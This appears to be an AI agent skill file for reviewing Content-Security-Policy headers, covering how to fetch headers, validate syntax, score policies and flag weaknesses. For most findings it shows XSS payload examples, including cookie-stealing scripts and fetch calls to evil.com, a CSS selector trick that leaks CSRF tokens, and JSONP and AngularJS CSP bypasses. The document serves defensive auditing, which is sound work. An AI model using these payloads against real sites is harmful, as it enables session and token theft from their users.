- name
- content-security-policy
- description
- Analyze Content-Security-Policy headers for misconfigurations and bypass risks. Use when reviewing CSP from raw strings, URLs, or domains.
- disable-model-invocation
- true
- aliases
- ["csp-review","csp-analyzer","csp-audit"]
- version
- 0.0.1
- author
- Herman Stevens
- tags
- ["security","csp","headers","web-security","xss-prevention"]
- allowed-tools
- ["Bash","WebFetch","Read","Grep","Glob"]
# Content-Security-Policy Review
Analyze CSP headers and generate security findings with remediation guidance.
**Target:** $ARGUMENTS (raw CSP string, URL, domain, or file path)
## When to Use This Skill
- Reviewing CSP headers on production websites
- Validating CSP before deployment
- Auditing CSP across multiple pages of a domain
- Investigating XSS bypass potential through CSP weaknesses
- Generating recommended CSP for a new application
## Core Capabilities
| Capability | Description |
|------------|-------------|
| Input Detection | Auto-detect raw CSP, URL, domain, or file path |
| Syntax Validation | Validate directives and source values against CSP Level 3 |
| Security Analysis | Detect unsafe patterns, bypasses, and missing directives |
| Strength Scoring | Deduction-based score (A-F) with justification |
| Remediation | Generate recommended CSP with migration steps |
## Workflow
### Phase 1: Input Detection and CSP Retrieval
Detect input type from $ARGUMENTS and retrieve CSP:
**Raw CSP string** (contains directive keywords like `default-src`, `script-src`):
- Parse directly as CSP string
**URL** (starts with `http://` or `https://`):
```bash
curl -sI -L "$URL" | grep -i "content-security-policy"
```
**Domain** (no scheme, no directives):
```bash
# Fetch CSP from homepage
curl -sI -L "https://$DOMAIN" | grep -i "content-security-policy"
# Spider via sitemap
curl -sL "https://$DOMAIN/sitemap.xml" | grep -oP '<loc>\K[^<]+' | head -20
```
For each discovered page, fetch headers. Cap at 20 pages.
If no sitemap exists, extract links from homepage and check up to 20 unique paths.
**File path** (ends with common extensions or exists on disk):
- Read file content and extract CSP string
**Edge cases to handle:**
- No CSP found → report absence, check for `<meta http-equiv="Content-Security-Policy">`
- `Content-Security-Policy-Report-Only` → note it is non-enforcing
- Multiple CSP headers → analyze each; note that browsers intersect them
- Meta-tag CSP → note limitations (no `frame-ancestors`, no `report-uri`, no `sandbox`)
### Phase 2: Parse and Validate Syntax
Split policy on `;` into directives. For each directive:
1. **Validate directive name** against CSP Level 3:
| Fetch Directives | Document Directives | Navigation Directives | Reporting |
|---|---|---|---|
| `default-src` | `sandbox` | `form-action` | `report-uri` |
| `script-src` | `base-uri` | `frame-ancestors` | `report-to` |
| `script-src-elem` | `plugin-types` | `navigate-to` | |
| `script-src-attr` | | | |
| `style-src` | | | |
| `style-src-elem` | | | |
| `style-src-attr` | | | |
| `img-src` | | | |
| `font-src` | | | |
| `connect-src` | | | |
| `media-src` | | | |
| `object-src` | | | |
| `frame-src` | | | |
| `child-src` | | | |
| `worker-src` | | | |
| `manifest-src` | | | |
| `prefetch-src` | | | |
Other valid directives: `upgrade-insecure-requests`, `block-all-mixed-content`, `require-trusted-types-for`, `trusted-types`
2. **Validate source values:**
- Keywords (must be single-quoted): `'self'`, `'unsafe-inline'`, `'unsafe-eval'`, `'unsafe-hashes'`, `'strict-dynamic'`, `'report-sample'`, `'none'`, `'wasm-unsafe-eval'`
- Nonces: `'nonce-<base64>'`
- Hashes: `'sha256-<base64>'`, `'sha384-<base64>'`, `'sha512-<base64>'`
- Schemes: `https:`, `http:`, `data:`, `blob:`, `mediastream:`, `filesystem:`
- Hosts: `example.com`, `*.example.com`, `https://example.com`
- Wildcards: `*`
3. **Detect syntax errors:**
- Unquoted keywords (`self` instead of `'self'`, `unsafe-inline` instead of `'unsafe-inline'`)
- Missing semicolons between directives
- Duplicate directives (second is ignored)
- Unknown directive names (typos)
- Invalid nonce/hash format
### Phase 3: Security Evaluation
#### Anti-Pattern Detection
For each finding, explain **why** the configuration is dangerous and provide an **exploitation example** showing how an attacker abuses it.
**CSP-01** | `unsafe-inline` in script-src | **Critical**
Why: Completely defeats CSP's XSS protection. Any injection point becomes exploitable because the browser trusts all inline scripts.
```html
<!-- Attacker injects via reflected/stored XSS: -->
<script>document.location='https://evil.com/?c='+document.cookie</script>
```
**CSP-02** | `unsafe-eval` in script-src | **High**
Why: Allows string-to-code execution. Attackers use `eval()`, `Function()`, `setTimeout(string)`, or `setInterval(string)` to run injected payloads even without inline script tags.
```javascript
// Attacker exploits an injection point that flows into eval:
eval('fetch("https://evil.com/?d="+document.cookie)')
```
**CSP-03** | Wildcard `*` in script-src | **Critical**
Why: Permits script loading from any origin. Attacker hosts payload on any domain they control.
```html
<script src="https://evil.com/steal.js"></script>
```
**CSP-04** | `data:` in script-src | **Critical**
Why: Allows inline script execution via data URIs, bypassing host-based restrictions entirely.
```html
<script src="data:text/javascript,alert(document.domain)"></script>
```
**CSP-05** | `blob:` in script-src | **High**
Why: Attacker creates executable blob URLs from injected inline code, bypassing script-src host allowlists.
```javascript
// If attacker can inject any JS (e.g. via unsafe-eval or JSONP):
var b = new Blob(["alert(document.domain)"], {type:"text/javascript"});
var u = URL.createObjectURL(b);
var s = document.createElement("script"); s.src = u; document.body.appendChild(s);
```
**CSP-06** | Known bypass endpoint allowlisted | **High**
Why: Allowlisted CDNs/APIs often host JSONP endpoints or JavaScript libraries (like AngularJS) that let attackers execute arbitrary code while staying within the CSP allowlist.
```html
<!-- JSONP callback bypass (googleapis.com allowlisted): -->
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)//"></script>
<!-- AngularJS sandbox escape (cdnjs.cloudflare.com allowlisted): -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.0/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(document.domain)')()}}</div>
```
**CSP-07** | `http:` scheme in any directive | **Medium**
Why: Allows loading resources over unencrypted HTTP. A network attacker (MITM) can inject malicious scripts into HTTP responses.
```
# Attacker on same network intercepts HTTP script load and replaces content:
script-src http://cdn.example.com → MITM injects malicious JS in transit
```
**CSP-08** | Overly broad host allowlist | **Medium**
Why: Each additional allowlisted host expands the attack surface. Any XSS, open redirect, or JSONP endpoint on those hosts becomes a CSP bypass vector. More hosts = higher probability one is exploitable.
**CSP-09** | `unsafe-inline` in style-src | **Low**
Why: Enables CSS injection for data exfiltration. Attacker uses attribute selectors to leak sensitive content character-by-character.
```html
<!-- Exfiltrate CSRF token via CSS injection: -->
<style>
input[name="csrf"][value^="a"] { background: url("https://evil.com/?c=a"); }
input[name="csrf"][value^="b"] { background: url("https://evil.com/?c=b"); }
/* ... repeat for each character */
</style>
```
**CSP-10** | `unsafe-hashes` in script-src | **Medium**
Why: Allows execution of specific inline event handlers by hash. If the hashed handler contains injectable content (e.g. from a template), attacker can execute code through that handler.
**CSP-11** | Wildcard subdomain `*.example.com` in script-src | **Medium**
Why: Any subdomain becomes a valid script source. Attacker exploiting XSS on a forgotten subdomain (staging, legacy app, user-generated-content subdomain) can serve scripts that the main site trusts.
```html
<!-- Attacker compromises legacy.example.com and serves: -->
<script src="https://legacy.example.com/evil.js"></script>
```
**CSP-12** | `object-src` allows plugins | **High**
Why: Permits `<object>` and `<embed>` tags to load plugin content. Attacker embeds a malicious Flash SWF or PDF that executes JavaScript in the page context.
```html
<object data="https://evil.com/exploit.swf" type="application/x-shockwave-flash"></object>
```
#### Known CSP Bypass Sources
Flag these allowlisted hosts in script-src (from "CSP Is Dead, Long Live CSP" research):
| Host Pattern | Bypass Type |
|---|---|
| `*.googleapis.com` | JSONP endpoints |
| `*.gstatic.com` | Angular library hosting |
| `*.google.com` | JSONP callbacks |
| `cdnjs.cloudflare.com` | Angular/other framework bypasses |
| `*.jsdelivr.net` | Arbitrary JS hosting |
| `*.unpkg.com` | Arbitrary npm package serving |
| `*.rawgit.com` | Raw GitHub content |
| `*.cloudflare.com` | Various JSONP endpoints |
| `accounts.google.com/gsi/client` | Google Sign-In JSONP |
#### Missing Directive Analysis
| ID | Finding | Severity | Risk | Exploitation |
|----|---------|----------|------|-------------|
| CSP-20 | No `default-src` | High | No fallback; unlisted directives unrestricted | Attacker loads resources from any origin via directives not explicitly set |
| CSP-21 | No `script-src` (no default-src fallback) | Critical | Scripts from any origin | `<script src="https://evil.com/xss.js"></script>` executes freely |
| CSP-22 | No `object-src` | High | Plugin-based XSS | `<object data="//evil.com/exploit.swf">` runs in page context |
| CSP-23 | No `base-uri` | Medium | `<base>` tag hijacking | `<base href="https://evil.com/">` redirects all relative URLs (scripts, forms) to attacker domain |
| CSP-24 | No `frame-ancestors` | Medium | Clickjacking | Attacker iframes the page and overlays transparent UI to trick clicks |
| CSP-25 | No `form-action` | Medium | Form data theft | Attacker injects `<form action="https://evil.com/steal">` to exfiltrate user-submitted data |
| CSP-26 | No `upgrade-insecure-requests` | Low | Mixed content | HTTP sub-resources remain vulnerable to MITM on HTTPS pages |
| CSP-27 | No reporting | Low | No violation visibility | CSP bypasses go undetected; no data to tune policy |
| CSP-28 | No `style-src` (no default-src fallback) | Low | CSS injection | Attacker loads external CSS with attribute selectors to exfiltrate page data |
| CSP-29 | No `img-src` restriction | Low | Data exfiltration | `<img src="https://evil.com/log?data=...">` leaks tokens via URL parameters |
#### Best Practice Assessment
| Practice | Check |
|----------|-------|
| Nonce-based CSP | `script-src` uses `'nonce-...'` instead of allowlists |
| `strict-dynamic` | Present in script-src (propagates trust to loaded scripts) |
| Trusted Types | `require-trusted-types-for 'script'` present |
| Strict `default-src` | Set to `'none'` or `'self'` |
| Reporting enabled | `report-uri` or `report-to` configured |
| Report-Only testing | Uses Report-Only header before enforcing |
#### CSP Level Classification
| Level | Indicator |
View on GitHub